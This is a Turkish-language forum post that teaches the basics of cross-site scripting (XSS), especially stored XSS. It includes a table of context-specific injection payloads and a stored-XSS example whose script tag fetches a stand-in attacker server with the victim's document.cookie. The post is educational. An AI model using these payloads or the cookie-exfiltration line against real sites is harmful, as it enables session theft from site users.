- Katılım
- 2 Ocak 2026
- Mesajlar
- 14
- Tepkime puanı
- 34
- Puan
- 13

Web sayfası nasıl oluşuyor? (En temel mantık)
Bir web sayfası açtığında tarayıcın (Chrome, Firefox vs.) şunları yapar:- Sunucudan HTML kodu gelir
- Tarayıcı bu HTML’i satır satır okur
- <tag> gördüğü yerde “Aa bu bir etiket” der
- Özellikle <script> … </script> gördüğü anda içindeki metni JavaScript kodu olarak algılar ve hemen çalıştırır
- <img src="..."> gördüğünde resmi indirir
- onerror="kod" gördüğünde hata olursa kodu çalıştırır.
XSS’in temel mantığı ne?
1- Bir yorum alanından yola çıkalım; normalde bir sitede senin yazdığın yorum şöyle olmalı: - "Kullanıcı yorumu: "Bughane Academy harika bir forum, tavsiye ederim!"
2- Site bunu veritabanına kaydeder → sonra sayfaya koyarken şöyle basar: - <div class="yorum">Bughane Academy harika bir forum, tavsiye ederim!"</div>
3- Ama site güvenlik önlemi almazsa sen şöyle bir şey yazabiliyorsun: Kullanıcı yorumu: - Bughane Academy harika bir forum <script>alert('Hacked!');</script> tavsiye ederim!
4- Site bunu aynı şekilde veritabanına kaydediyor ve sayfaya şöyle basıyor: - <div class="yorum">Bughane Academy harika bir forum <script>alert('Hacked!');</script> tavsiye ederim!</div>
Tarayıcı bu HTML’i okurken <script> etiketini görüyor ve içindeki JavaScript’i hemen çalıştırıyor.İşte bu olay XSS (Cross-Site Scripting) oluyor.
Yani XSS’in özü şu cümle: "Site, kullanıcıdan gelen veriyi HTML’e olduğu gibi yazarsa, tarayıcı o veriyi kod olarak çalıştırır."
Stored XSS neden “stored / kalıcı” oluyor?
Stored XSS’te bu olay bir kere oluyor ama etkisi kalıcı hale geliyor. Adım adım mekanizma şöyle:
- Saldırgan (sen diyelim
) yorum bırakma yerine şu payload’u giriyor: <script>fetch('https://benim-sunucum.com/çal?cookie='+document.cookie)</script> - Site bu metni kontrol etmeden veritabanına kaydediyor(örneğin MySQL tablosuna yorum sütununa direkt yazıyor)
- Başka bir kullanıcı (kurban) aynı sayfayı açıyor→ Sunucu veritabanından o yorumu çekiyor→ HTML’e çıktı olarak olduğu gibi basıyor: <div class="yorum"> <script>fetch('https://benim-sunucum.com/çal?cookie='+document.cookie)</script></div>
- Kurbanın tarayıcısı sayfayı render ederken: <script> etiketini görüyor → İçindeki JavaScript’i kurbanın tarayıcısında çalıştırıyor → Kod document.cookie’yi alıp senin sunucuna gönderiyor → kurbanın oturum çerezi çalınıyor.
Aslında XSS sadece JavaScript ile sınırlı değil ama en tehlikeli ve en yaygın olanı JavaScript olduğu için ona odaklanıyoruz. Çünkü, tarayıcıda en güçlü yetkiye sahip dil JavaScript. document.cookie, localStorage, fetch, XMLHttpRequest, location gibi şeyleri kontrol edebiliyor, DOM’u değiştirebiliyor (sahte login ekranı göstermek, tuş vuruşlarını kaydetmek vs.) Ama teorik olarak VBScript (çok eski), <iframe>, <object>, <embed>, SVG içindeki script vs. de kullanılabiliyor.
Farklı context’ler (bağlamlar) neden önemli?
| Nereye basılıyor? | Örnek HTML çıktısı | Çalışan basit payload örneği |
|---|---|---|
| Normal HTML içeriği | <p>Kullanıcı: X </p> | <script>alert(1)</script> |
| HTML attribute içinde | <img src="X" alt="foto"> | " onload=alert(1) // veya x" onerror=alert(1) |
| JavaScript string içinde | var isim = "X"; | "; alert(1); // |
| JSON içinde | {"yorum": "X"} | </script><script>alert(1)</script> |
| CSS içinde | background: url('X') | x); expression(alert(1)) (eski IE’lerde) |
Site veriyi nereye basarsa bassın, tarayıcı farklı yerlerde farklı kurallarla yorumluyor: işte bu yüzden aynı her yerde çalışmıyor. Site veriyi hangi bağlama koyarsa, o bağlama uygun bypass payload’u bulman lazım.
Özetle Mantık ve Adımlar
- Kullanıcı → siteye veri gönderir (yorum, isim, başlık vs.)
- Site → veriyi kontrol etmeden / filtrelemeden veritabanına kaydeder
- Site → veritabanından veriyi çeker
- Site → veriyi HTML’e çıktı escaping yapmadan yazar
- Tarayıcı → o HTML’i okurken <script>, onerror, onload vs. gördüğü yerde içindeki kodu kurbanın yetkileriyle çalıştırır.
Not: XSS' in varlığı ve bulunma olasılığı/oranı yüksek olsa da öğrenme sürecinin istediği zaman ve enerjiden kaynaklı bir türlü sevemedim ve sevemiycem hiç kusuruma bakmasın. Her yerde diye onun peşinden koşamam, ben sevdiklerimin peşinden gitmeyi tercih ediyorum (API - Information Dis. - Race Condition - SSRF) Tavsiyem zevk aldığınız zafiyete odaklanın (zaten zorlu bir süreç birde sıkıla sıkıla ilerlemeye çalışmayın...)